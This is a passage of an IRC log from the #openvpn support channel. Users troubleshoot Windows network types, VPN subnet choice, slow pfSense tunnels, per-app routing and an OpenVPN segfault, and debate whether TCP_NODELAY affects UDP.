11:08 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
11:08 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
11:13 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn
11:16 -!- tejeskifly [~user@54020712.dsl.pool.telekom.hu] has joined #openvpn
11:16 < tejeskifly> hi guys
11:17 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has joined #openvpn
11:18 < tejeskifly> i have an ubunti server with openvpn server, i want connect with win7 client. But my network type public in win7
11:18 < MacGyver> So?
11:18 < tejeskifly> i want see other client network shares etc
11:19 < tejeskifly> but i don't can see if my network type public
11:19 < tejeskifly> i try google some solution, but don't find any solution
11:19 < MacGyver> Have you configured the server to allow client-to-client traffic?
11:19 < tejeskifly> yes
11:19 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Read error: Connection reset by peer]
11:20 < MacGyver> And it doesn't work because Windows 7 disables that stuff when it flags a network type as public?
11:20 < tejeskifly> but not the server the problem. in win7 if my network type public, i don't have permission to see network shares, and i don't can share anything
11:20 < MacGyver> So flag the network type as home then.
11:20 < tejeskifly> i don't cand change it
11:20 < MacGyver> Then you're SOL and need ##windows, not #openvpn.
11:21 < MacGyver> That's not meant nearly as mean as it sounds, btw. It's just that this is a windows problem and there are bound to be more windows-networking-guys there than here.
11:22 < tejeskifly> i can change the network type, if i set manualy the default getawy
11:23 -!- surrealillusion [~surrealil@206.191.57.58] has quit [Ping timeout: 256 seconds]
11:23 < tejeskifly> *getway
11:23 < hazardous> in win7 if your network type is public it specifically blocks inbound connections because you should not be allowing them in a public environment
11:23 < hazardous> make it work or home or something then.
11:23 < hazardous> :|
11:23 < tejeskifly> but openvpn don't have
11:24 < tejeskifly> can i set default getway for openvpn?
11:24 < MacGyver> You... should be able to set the network type.
11:25 < MacGyver> Regardless of default gateway settings.
11:25 < tejeskifly> if i don't have default getway i don't can change
11:26 < tejeskifly> one min i recconect with computer with openvpn, and i show you :)
11:26 -!- tejeskifly [~user@54020712.dsl.pool.telekom.hu] has quit [Quit: Leaving]
11:29 -!- tejeskifly [~user@54020712.dsl.pool.telekom.hu] has joined #openvpn
11:30 < tejeskifly> re
11:30 < tejeskifly> here it is: http://prntscr.com/y7tq9
11:30 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
11:30 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has joined #openvpn
11:30 < tejeskifly> Nem azonosított hálozat = not reconized networ or something like this :)
11:31 -!- vraa__ [~speed_rac@h74.166.30.71.dynamic.ip.windstream.net] has quit [Quit: Leaving]
11:31 < tejeskifly> can i set getway?
11:32 < tejeskifly> if i can set getway i can set the type
11:33 < tejeskifly> i want virtual private network not virtual public network :)
11:34 < MacGyver> Ah, you're right.
11:37 < tejeskifly> i find this command line command somwhere on internet, but if i apply, i don't see the openvpn in network center, but its connected
11:37 < tejeskifly> http://pastebin.com/UjtXd2wV
11:43 -!- lord4163 [~fabian@81-232-61-81-no226.tbcn.telia.com] has joined #openvpn
11:43 < lord4163> Hello
11:44 < lord4163> "server 10.8.0.0 255.255.255.0" I have to replace 10.8.0.0 with the local IP of the server?
11:47 < MacGyver> tejeskifly: I'm not sure how to push a default gateway onto a VPN connection on windows - my guess would be the redirect-gateway command but that also should add routes to let all traffic flow over the VPN.
11:48 < lord4163> What a simple installation, omg -_-
11:49 < MacGyver> lord4163: Yes, yes it is.
11:50 < MacGyver> lord4163: And no, you are not supposed to replace 10.8.0.0 with the local IP of the server. Where does it say that?
11:51 < MacGyver> lord4163: You're supposed to replace 10.8.0.0 with the base address of the subnet you want your VPN to use.
11:51 < lord4163> and that is?
11:52 < MacGyver> How should I know? It's *your* VPN.
11:53 < MacGyver> My precognition and mindreading are switched off for the day.
11:54 < lord4163> MacGyver: Well 10.8.0.0 isn't my IP ?
11:55 < MacGyver> Oh, you don't know what a base address is.
11:55 < MacGyver> Right, networking 101.
11:56 -!- scott3 [~Scott@unaffiliated/scott3] has joined #openvpn
11:56 < MacGyver> The IPv4-space can be divided into subnets.
11:56 < MacGyver> There are multiple ways to identify a subnet.
11:56 -!- ayecee [~ayecee@unaffiliated/ayecee] has joined #openvpn
11:56 < MacGyver> One of these is by specifying a base address and a corresponding subnet mask.
11:57 -!- scott3 [~Scott@unaffiliated/scott3] has left #openvpn ["Leaving"]
11:57 < MacGyver> Without going into technical details, a base address / subnet mask configuration of 10.8.0.0 / 255.255.255.0 specifies the subnet running from 10.8.0.0 up to and including 10.8.0.255
11:57 -!- ayecee [~ayecee@unaffiliated/ayecee] has left #openvpn []
11:58 < MacGyver> 10.8.0.0 and 10.8.0.255 are special addresses within that subnet, and will not be used as address by any specific device.
11:59 < lord4163> Ok what is my address? 10.8.0.0 is default?
12:00 < MacGyver> Yes, and you can use that if your VPN-clients will not connect to *another* network that uses that address range at the same time.
12:00 < MacGyver> E.g., if your home network is configured to use 192.168.0.0 255.255.255.0, then it's a bad idea to use that same configuration for your VPN.
12:01 < MacGyver> (Bad idea, in, it won't work.)
12:04 < lord4163> MacGyver: Okay so it has to be 192.168.1.0 in my case or?
12:04 < Rienzilha> lol
12:05 < MacGyver> You know what, I don't have the patience for this.
12:05 < MacGyver> No. It should be 10.60.39.0
12:05 < MacGyver> Don't ask why.
12:05 < MacGyver> Just set that.
12:05 < MacGyver> You shouldn't run into any trouble.
12:06 < lord4163> MacGyver: k
12:08 < Rienzilha> haha
12:10 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has quit [Ping timeout: 256 seconds]
12:11 -!- Extreme [~Extreme@unaffiliated/extreme] has joined #openvpn
12:13 -!- Extreme [~Extreme@unaffiliated/extreme] has left #openvpn []
12:14 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
12:20 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
12:20 -!- paccer [uid4847@gateway/web/irccloud.com/x-okumqxoolmvmvuei] has quit [Ping timeout: 245 seconds]
12:21 < keldwud> where can I find a resource to troubleshoot latency issues?
12:22 < keldwud> i.e. typing when connected through vpn echoes very slowly. reminiscent of 2400baud speeds.
12:22 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Ping timeout: 256 seconds]
12:23 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-qfjpeinegovimjjd] has quit [Ping timeout: 258 seconds]
12:27 <@ecrist> anyone know a Darwin Zeng?
12:29 <@krzee> no but it looks like he's from the bay area
12:29 <@krzee> i know people in the area if its important
12:29 <@krzee> keldwud, are you using tcp?  you tried playing with mtu?
12:29 < keldwud> ensured that I was using udp
12:30 < keldwud> haven't played with MTU yet
12:30 < keldwud> will try that
12:32 < keldwud> found this https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux
12:32 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net)
12:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:39 -!- anto_ [~anton@c-83-219-221-136.cust.bredband2.com] has joined #openvpn
12:40 < anto_> Why hello there
12:40 < MacGyver> FINALLY.
12:41 < MacGyver> I got my coredump.
12:44 < MacGyver> http://pastebin.com/aFwfheXG <-- Segmentation fault in openvpn when it receives ^C during DNS resolution attempt.
12:45 < MacGyver> Exact conditions to reproduce this are uncertain.
12:49 < MacGyver> But it at least involves establishing a connection first, then having the interface lose connection, after whcih openvpn starts resolving.
12:50 <@ecrist> MacGyver: excellent information.  My suggestiong is to create a ticket at community.openvpn.net
12:50 <@ecrist> include as much information in the ticket as you can
12:51 -!- paccer [uid4847@gateway/web/irccloud.com/x-kgwhpxxnhnujbtru] has joined #openvpn
12:51 <@plaisthos> MacGyver: can you try to see if lsa is defined?
12:51 <@plaisthos> MacGyver: p sock->info.lsa
12:51 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-pkogyqoaioaribhb] has joined #openvpn
12:52 -!- Morg0th [~Morg0th@82-212-146-28.teledisnet.be] has joined #openvpn
12:53 -!- tejeskifly [~user@54020712.dsl.pool.telekom.hu] has quit [Ping timeout: 240 seconds]
12:55 < MacGyver> plaisthos: In a while - I need to leave this train in a minute.
12:55 < Morg0th> hello, could anyone help me to configure my VPN? i can't access it... i put my openvpn.conf file in /etc/openvpn/ (http://codepad.org/luFqK1Wh) and i do "openvpn /etc/openvpn.conf" as su. I even see "Peer Connection Initiated with ..." in the logs but i still can't access. any ideas please?
12:55 <@vpnHelper> Title: Plain Text code - 14 lines - codepad (at codepad.org)
12:55 < MacGyver> Okay, taking longer than expected. Output of that is
12:55 < MacGyver> $1 = (struct link_socket_addr *) 0xbfd8aedc
12:56 < MacGyver> Now I'm gone for a while.
12:57 -!- tejeskifly [~user@540133B4.dsl.pool.telekom.hu] has joined #openvpn
12:59 -!- lord4163 [~fabian@81-232-61-81-no226.tbcn.telia.com] has quit [Remote host closed the connection]
13:03 -!- tejeskifly [~user@540133B4.dsl.pool.telekom.hu] has quit [Ping timeout: 255 seconds]
13:08 < Morg0th> anyone sees any errors in what i did? i'm desperate to make this work :(
13:08 <@krzee> Morg0th,
13:08 <@krzee> !logs
13:08 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:09 < TMcTrain> hi
13:10 <@krzee> im confused about that being a bug, did you say it is triggered when you CNTRL+C ?
13:10 <@krzee> so it dies... but less clean than you wanted?
13:10 -!- tejeskifly [~user@5402ADB3.dsl.pool.telekom.hu] has joined #openvpn
13:11 < Morg0th> thanks krzee, i'm using the console openvpn tools. i can't get the server config but here are my logs from when i run the openvpn command: http://codepad.org/FYXn8eLF
13:11 <@vpnHelper> Title: Plain Text code - 14 lines - codepad (at codepad.org)
13:11 < Morg0th> !logfile
13:11 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
13:11 < anto_> Sounds like that yeah, krzee.
13:12 < MacGyver> Okay, that was a short while.
13:13 < MacGyver> ecrist, plaisthos: I'm quite willing to simply file a bug and attach the dump if that would help - however, is there any potentially sensitive info contained in the dump?
13:13 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-muoejhdjevuqroxv] has quit [Ping timeout: 252 seconds]
13:13 < MacGyver> Like, certificate passphrases or some such thing.
13:13 -!- paccer [uid4847@gateway/web/irccloud.com/x-kgwhpxxnhnujbtru] has quit [Ping timeout: 240 seconds]
13:13 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
13:16 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-pkogyqoaioaribhb] has quit [Ping timeout: 260 seconds]
13:16 < MacGyver> krzee: It segfaults. In my book, that's a bug, regardless of when it happens. In this specific case, the on-down script isn't executed (since the down-root plugin crashes with it.)
13:22 -!- lmm [uid6417@gateway/web/irccloud.com/x-omxjuroryrjshwst] has quit [Ping timeout: 258 seconds]
13:26 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-kpstwmmzuipdkscl] has quit [Ping timeout: 256 seconds]
13:31 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has quit [Read error: Connection reset by peer]
13:32 -!- Orbi [~opera@anon-186-163.vpn.ipredator.se] has joined #openvpn
13:38 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
13:42 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
13:50 -!- PromAx [~PromAd@h9n2fls32o256.telia.com] has joined #openvpn
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
13:52 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-nzltkzhqfvnggbhf] has joined #openvpn
13:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:10 -!- anto_ [~anton@c-83-219-221-136.cust.bredband2.com] has left #openvpn []
14:11 <@krzee> MacGyver, valid point
14:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:11 <@krzee> I'm curious if it would ever perform --down though
14:13 -!- tejeskifly [~user@5402ADB3.dsl.pool.telekom.hu] has quit [Quit: Leaving]
14:16 < MacGyver> Well, it does.
14:16 < MacGyver> See, my reproduction steps aren't...
14:16 < MacGyver> Stable.
14:16 < MacGyver> I can say that it *is* triggered by the sequence of events I described.
14:17 < MacGyver> But it's not *always* triggered byt that sequence, so most likely there's a variable I'm missing.
14:18 < MacGyver> I'll file a bug tonight or tomorrow.
14:18 <@krzee> gotchya
14:23 < PromAx> "OpenVPN Released for Android!". I had it working on my Android phone 2 years earlier. Didnt think anyone needed it, but i see it can be highly valuable.
14:23 < MacGyver> But, about that bugreport.
14:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
14:24 < MacGyver> Will I need to include the coredump (and if so, does the coredump contain any potentially sensitive state like unlocked private keys for certs)?
14:24 < PromAx> MacGyver: show the report url if you want a simple uni students oppinion :)
14:24 < keldwud> hmmm, rsync outside of my tunnel gives me 4-6MB/s, inside openvpn tun, 2KB/s...
14:24 < PromAx> Coredumps are rarely needed.
14:25 < keldwud> using UDP, not TCP
14:25 < keldwud> and increasing MTU does not resolve
14:25 < keldwud> rebooting router had an effect but not full resolution
14:25 < keldwud> sorry
14:26 < keldwud> restarting openvpn on pfsense had an effect
14:26 < keldwud> not restarting the router
14:26 < PromAx> MacGyver: What program generated a coredump for you ?. I have not seen those since 2002. HD-issue ?
14:26 < jzaw> keldwud, out of interest ... what is running openvpn ?
14:26 < keldwud> pfsense
14:26 < jzaw> i mean the h/w
14:26 < keldwud> oh, server grade
14:26 < keldwud> dell
14:26 < keldwud> quad core
14:27 < jzaw> should be more than capable
14:27 < keldwud> and 8 GB ram
14:27 < keldwud> yeah :)
14:27 < keldwud> I would hope it is capable.
14:27 < jzaw> but there are overheads involved in tunneling
14:27 < PromAx> Naah, only encryption
14:27 < keldwud> yeah we changed from AES256 to blowfish, same issue
14:27 < keldwud> no noticeable diff
14:28 < keldwud> confirmed using tun and not tap
14:28 < jzaw> ouch soz ive just noticed not 2MB/s ... you said 2 K!!
14:28 < keldwud> yeah, 2k
14:28 < jzaw> soz that shouldnt be
14:28 < keldwud> so when typing on terminal, it's like s.l.o.w.
14:28 < jzaw> i thought it was just a 1/2ing
14:28 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-sxozzyznejhupbfa] has joined #openvpn
14:28 < jzaw> whats on the other end?
14:29 < keldwud> this happens client-to-server and server-to-server
14:29 < PromAx> keldwud: Issue beeing... ? I had a fragmentation issue on bypassing different routers. Fragment MAX - Hops count could do it.
14:29 < keldwud> I was reading about fragmentation on the wiki
14:30 < keldwud> on the gigabit networks linux page
14:30 < keldwud> I'm a noob and a jr, btw, so I don't have a very solid foundation or schema
14:30 < PromAx> Too high a fragment count will leave no space left for the firewalls to fragment. Yep, its odd but listen and run fragment 1200;
14:31 < keldwud> oh yeah, I forgot to try that step
14:31 < keldwud> "disable OpenVPN's internal fragmentation algorithm using '--fragment 0'. "
14:32 < PromAx> Can work ok as well.
14:32 < keldwud> I'm not familiar enough with pfsense, though, to find that option for openvpn
14:32 < keldwud> disabling would at least let me figure out if that is affecting it or not :)
14:32 < keldwud> and then fine tune from there
14:33 < PromAx> pfsense is a gui. It expects you to know, but does not limit you to any odd choice most likely. I like the GAdmintools set programs though.
14:34 < PromAx> But any program that helps users/admins im glad to see.
14:34 < keldwud> yeah, the gui has been throwing me off :)
14:34 < keldwud> because all the openvpn I learned was config files and command line
14:34 < PromAx> No, you just havnt read up on it :)
14:34 < rob0> !pfsense
14:34 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
14:34 < keldwud> hha
14:34 < keldwud> nice
14:35 < PromAx> How many users?: -3000 ... Well, whatd you expect :)
14:35 < rob0> I wish that factoid had the path where they keep the files.
14:36 < keldwud> well it would be different in bsd vs debian vs rhel, no?
14:37 < rob0> it is unique to pfsense
14:37 < jzaw> thats only 3 different options
14:37 < PromAx> keldwud: Most programs can be called good, somewhat less are deemed flawless you know.
14:37 < keldwud> jzaw: you know what I mean :) I was naming the more widely used ones
14:37 < keldwud> from a statistical perspective
14:37 < jzaw> :)
14:38 < keldwud> but yeah, it would be nice to have that factoid with a path
14:38 < keldwud> for sure
14:38 < jzaw> im sure anyone using anything *different* would be capable of searching for them anyway
14:40 < keldwud> yeah, a path, even if different from your environment gives a good starting point for where to look
14:40 < keldwud> or even the name of the file for which to look :)
14:41 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:41 -!- skomorokh [~skomorokh@rose.makesad.us] has joined #openvpn
14:41 < PromAx> keldwud: So... Is it working yet ?
14:42 < keldwud> PromAx: not yet. still getting to the disabling of fragmentation
14:42 < keldwud> I'm not accessing the box directly, accessing through proxy via $boss
14:42 < keldwud> I'm about to see if I can have direct access to the box so I can figure out how to get to command line in pfsense
14:42 < PromAx> keldwud: Use fragment 1000. This is clearly better then none.
14:43 < PromAx> Fraggles :)
14:43 < jzaw> keldwud, thats the nice thing in pfsense vs m0n0wall (im using m0n0 at home) you can ssh in
14:43 < keldwud> orly?
14:43 < keldwud> well shoot
14:43 < keldwud> I'll just do that :)
14:43 < jzaw> yeah its cool
14:44 < jzaw> indeed
14:44 < keldwud> and poke around without making changes and then tell him where to make changes
14:44 < keldwud> so he doesn't have to worry about jr admin messing things up
14:44 < jzaw> thing was when i started to use m0n0 ... pfsense didnt have ipv6 without patching/tinkering
14:44 < jzaw> and i have native ivp6 from the isp
14:45 < keldwud> hmm, what will pfsense show up as in an nmap?
14:45 < PromAx> Open/filtered ports
14:46 < keldwud> shame on me for not even knowing my pfsense address already :)
14:46 < keldwud> guess that's why I'm a jr.
14:46 < jzaw> isnt it your gw ?
14:46 < keldwud> gw?
14:46 < jzaw> gateway
14:46 < PromAx> Portknocking is much more interresting, because admins will never know if any port will be open at said time. Its also very bad to be fair.
14:46 < keldwud> oh, duh
14:46 < keldwud> that's also why I'm a jr :)
14:46 < keldwud> because of things like that
14:47 < skomorokh> Is there some kind of awesome openvpn client/wrapper thing where you can do something like: openvpnwrap --key=blah --cert=blah --remote=host:port somebinary  and it runs somebinary with all traffic routed through a new connection to the provided vpn?
14:47 < jzaw> dont worry there's plenty ppl way way way more experienced than both of us put together on this channel
14:48 -!- Morg0th [~Morg0th@82-212-146-28.teledisnet.be] has quit [Quit: leaving]
14:49 < keldwud> oh wait, maybe pfsense isn't my gateway
14:49 < keldwud> because vlans?
14:49 < Dropje> skomorokh: no..
14:49 < jzaw> skomorokh, wouldnt running openvpn /pathtoindividual/config   with appropriate up and down scripts in the conf?
14:49 < jzaw> do you
14:50 < Dropje> jzaw: i think he means having a specific application route through the vpn
14:50 < skomorokh> yup, that.
14:50 < jzaw> ah
14:50 < skomorokh> proxychains does it nicely for socks5/http proxies
14:50 < Dropje> there are proxy solutions which can do that but i'm not aware of a free one
14:52 < Dropje> !factoids search proxy
14:52 <@vpnHelper> "obfsproxy" is (#1) For a writeup on using obfsproxy with OpenVPN see https://syria.hacktivist.me/?p=148 or (#2) See also !obfs. The link to TrafficObfuscation also contains a setup example
14:52 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
14:52 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Remote host closed the connection]
14:53 < skomorokh> except even if i set up a socks5 locally and run apps via proxychains to use it ...i still can't route the traffic from the socks5 proxy to the vpn unless i can find a proxy that lets you switch gateway interfaces
14:53 < PromAx> keldwud: Soooo, is it working now ?
14:54 < skomorokh> so i could run the socks proxy in a vm and have that vm use the vpn interface.
14:54 < skomorokh> but ...that is insane.
14:54 < PromAx> keldwud: Took me half a day to find out by examining the bytespaces.
14:55 < keldwud> PromAx: no :( just realized my gateway is different gateway, i.e. two pfsense boxes, I'll have to go get on a different computer to access that vlan directly
14:55 < keldwud> or fix my networking
14:55 < Dropje> !factoids search sock
14:55 <@vpnHelper> "sockd" is if you want !routebyapp you can use this dante config www.ircpimps.org/sockd.conf but BE SURE TO ONLY RUN THIS ON THE INTERNAL VPN IP! otherwise you will be an open proxy. that config has no security because its expected to run inside openvpn
14:55 < keldwud> but walking to different station is quicker
14:55 < PromAx> keldwud: Linux with IP-tables you mean ?
14:55 < Dropje> !routebyapp
14:55 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
14:56 < keldwud> PromAx: when you say examine bytespaces, do you mean inspecting packets?
14:56 < keldwud> I'm not sure what bytespaces are
14:56 < keldwud> !bytespaces
14:56 < PromAx> Yes, bitbuckets
14:56 < PromAx> :)
14:56 < keldwud> !bitbuckets
14:56 < keldwud> I need a technical term :-p
14:56 < skomorokh> Dropje: Sweet, thanks. vpnHelper > Google.
14:56 < PromAx> Debugging network applications protocols
14:57 < Dropje> skomorokh: good luck ;)
14:57 < keldwud> okay, so yeah, inspecting packets. got it :)
14:57 < skomorokh> Dropje: at least I don't need the VM layer :)
14:57 < PromAx> :)
14:57 < keldwud> !tcpdump
14:57 < keldwud> I'm just oh for three now
14:58 < PromAx> The OSI tells you that youre Oosing of uselessness. Rather use your instinct and tools at hand. Then youll never fail.
14:59 < PromAx> See the code infront of you, virtually. Whats going on, whats happening etc.
14:59 <@ecrist> !factoids
14:59 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
14:59 < PromAx> Alias the Matrix ;)
14:59 < keldwud> oh thanks, ecrist :)
14:59 <@ecrist> np
15:00 < keldwud> now I don't have to feel dumb when I bang a word
15:00 < keldwud> ohshi- plz don't kick me out of here for making that joke
15:00 < keldwud> I don't want to get fired from my job
15:00 < keldwud> ;)
15:01  * keldwud looks around to make sure Joan of Arc isn't around
15:01 < PromAx> If Ohsix isnt Sixxy ill sixxy it :)
15:02 <@ecrist> PromAx: are you just spewing crap?
15:02 < keldwud> haha
15:02 < keldwud> !ecrist
15:02 <@vpnHelper> "ecrist" is http://www.youtube.com/watch?v=0Veqz8W98iA
15:03 < jzaw> funny thing is i keep seeing echrist ... thinking ooo couldnt use i cos apple have copy on that but he's the saviour ;)
15:03 < PromAx> http://www.youtube.com/watch?v=NoXLu9Rz70g
15:03 <@vpnHelper> Title: Jack Black and Will Ferrell "Get Off the Stage" Oscar® song - YouTube (at www.youtube.com)
15:07 < PromAx> http://www.youtube.com/watch?v=jO3lhCBKn3I
15:07 <@vpnHelper> Title: Jim Carrey Wins Best Actor Motion Picture Drama - Golden Globes 1999 - YouTube (at www.youtube.com)
15:07 < MacGyver> PromAx: Openvpn did. To me it looks like a bug in openvpn which is triggered on resolution attempts to facilitate a reconnection caused by a loss of carrier on the interface which openvpn is tunneling over.
15:08 < MacGyver> PromAx: But, and this is in no way meant as an insult, it seems to me that you may be a bit out of your depth - I'm going to file a bugreport on the site, and discuss the issue with that as a lead.
15:08 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-wfjcbreuytrwzpmo] has joined #openvpn
15:09 < MacGyver> ecrist: You wouldn't happen to know the answer to my earlier concern regarding the coredump, would you?
15:09 <@ecrist> which was that?
15:09 < MacGyver> ecrist: I.e. does it contain sensitive data such as passphrases to unlocked private keys for certs.
15:10 < MacGyver> ecrist: If so, I'm hesitant to upload it.
15:10 <@ecrist> no, not the backtrace
15:10 < MacGyver> Should've thought of that earlier.
15:10 < MacGyver> No, the entire coredump.
15:10 < MacGyver> Of course, I'm happy to facilitate any interaction with the dump in question.
15:10 <@ecrist> that might, yes
15:10 <@ecrist> I don't suggest posting the dumpfile itself
15:11 < MacGyver> Okay, I'll hold off on that.
15:11 <@ecrist> but, backtrace information is fine, keep it around so if someone askes you to do something, you can
15:11 <@ecrist> also, do a "bt full"
15:11 < MacGyver> Yeah, that dump isn't going anywhere.
15:11 < MacGyver> Took me enough trouble to get it in the first place :')
15:11 < keldwud> is it only useful to use --tcp_nodelay flag if I am using tcp and not udp?
15:11 -!- paccer [uid4847@gateway/web/irccloud.com/x-rddtsknqryrdgzqd] has joined #openvpn
15:11 < keldwud> ^ noob question
15:11 <@ecrist> iirc, it's useful for udp as well
15:11 < MacGyver> keldwud: It shouldn't be useful for UDP. Nagle's algorithm (which is what tcp_nodelay disables) only applies to TCP.
15:12 < MacGyver> UDP doesn't send ACKs.
15:12 < keldwud> okay
15:12 < keldwud> makes sense
15:12 < keldwud> what about --socket-flags?
15:12 < MacGyver> If it *does* however, as ecrist says, it does more than just disable nagle's algorithm, I think?
15:12 < keldwud> or is that the same as tcp_nodelay
15:12 < PromAx> MacGyver: Could be, but most often routers uses connection severing (timeouts and such) on each individual connection unless admins let the firewalls disregard it. Good to know perhaps.
15:12 <@ecrist> iirc tcp_nodelay has more to do with filling a packet than waiting for an ack
15:12 < MacGyver> PromAx: ...
15:13 < MacGyver> PromAx: WHAT the HELL are you talking about?
15:13  * novaflash gives MacGyver a weapon
15:13 <@novaflash> i mean, a paperclip
15:13 < MacGyver> ecrist: It's the same thing.
15:14 < MacGyver> ecrist: Or well, the problem is interwoven.
15:14 < MacGyver> ecrist: Nagle's algorithm waits to send a packet, until an ACK is received *or* the packet is full.
15:14 <@ecrist> tcp_nodelay simply allows un-filled packets to be sent (applies to both TCP and UDP)
15:14 < keldwud> I'm also assuming that even if messing around with those *did* change my speed, it wouldn't be on the order of adding 80%
15:14 < keldwud> -er, %100
15:15 < MacGyver> ecrist: Combine that with delayed acknowledgements and fun ensues.
15:15 <@ecrist> indeed
15:15 < keldwud> 2Kb/s vs 4Mb/s
15:15 < MacGyver> ecrist: But I didn't know TCP_NODELAY did more than disable Nagle's on TCP.
15:15 < jzaw> <ecrist> tcp_nodelay simply allows un-filled packets to be sent (applies to both TCP and UDP)
15:15 < jzaw> i was going to ask if it conflicted with udp or as youve said complemented it
15:16 < keldwud> !tcp_nodelay
15:16 <@vpnHelper> "tcp_nodelay" is <EmperorTom> A good analogy is a bus depot. Drivers normally wait as long as possible to see if any more passengers show up. If you set TCP_NODELAY on the bus driver, he would leave the station as soon as someone got on board. It's faster for the one passenger, but you need a lot more big, ugly, smelly, slow buses on the road to meet demand.
15:16 < MacGyver> Well as I always understood it, TCP_NODELAY doesn't do anything for UDP either way.
15:17 <@ecrist> UDP still has packets of a certain size
15:17 <@ecrist> *something* is playing conductor
15:17 < PromAx> Lol, what maaadness :)
15:18 -!- PromAx was kicked from #openvpn by ecrist [derp]
15:18 -!- lmm [uid6417@gateway/web/irccloud.com/x-qvbfjbuxqfsglawf] has joined #openvpn
15:18 <@novaflash> ouch
15:18 < keldwud> too off-topic? ;)
15:21 < jzaw> ecrist ... tcp-nodelay ... i put that in the server.conf ... and it gets pushed to the client
15:21 < MacGyver> Yeah, but... Honestly, it shouldn't be *that* option. The filling of the UDP packet should not be affected by the TCP_NODELAY option.
15:21 < jzaw> but does it benefit if i put it in the client.conf?
15:21  * MacGyver gets out his UNIX socket programming book.
15:21 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has joined #openvpn
15:22 <@ecrist> MacGyver: I'm not CERTAIN it does anything for UDP, I think it does, though.
15:23 < jzaw> well if its a small tcp ack thats being envelope in a vpn upd pkt but being sent without delay
15:23 < jzaw> id say it helps
15:26 <@plaisthos> MacGyver: yeah. The dump contains the whole memory of openvpn
15:27 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:28 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:28 < MacGyver> ecrist: With UDP, the responsibility lies squarely on the shoulders of the application doing the writes, according to my book.
15:28 < MacGyver> ecrist: That's what I wanted to check.
15:28 < MacGyver> ecrist: There's no conducting going on: If you call sendto with 1 byte, it will generate a packet with 1 byte.
15:29 < keldwud> sorry guys :) I didn't mean to cause a debate.
15:29 < keldwud> unintentional troll
15:29 < MacGyver> ecrist: It could be that OpenVPN does something special when you use that option though.
15:29 < jzaw> why not ... its all good learning
15:29 < keldwud> ok cool :)
15:29 < jzaw> keldwud, ^^^
15:29 < MacGyver> keldwud: Nonsense! This is an interesting discussion.
15:29 < keldwud> well then I'm not sorry :)
15:29 < keldwud> I'm glad my noob questions sparked a discussion
15:30 < keldwud> I'm gonna go poke around on my pfsense server
15:30 < keldwud> :0
15:30 < keldwud> :)
15:30 < MorkBork> good developers will just just disable nagle and use their own packet coalescing logic and techniques if necessary
15:30 < MacGyver> ecrist: Should you find out that TCP_NODELAY does somehow affect OpenVPN's UDP transport, I'm very interested.
15:30 < MorkBork> because they know their net flow better (or should)
15:30 < keldwud> me too, since I am optimizing anyway
15:31 < jzaw> well i just tried tcp-nodelay in the client.conf ... and it wouldnt start ...
15:31 < jzaw> Thu Mar 28 20:24:50 2013 us=714935 Assertion failed at helper.c:533
15:31 < jzaw> Thu Mar 28 20:24:50 2013 us=715230 Exiting due to fatal error
15:32 < jzaw> udp tunnel^^^
15:32 < MacGyver> W...
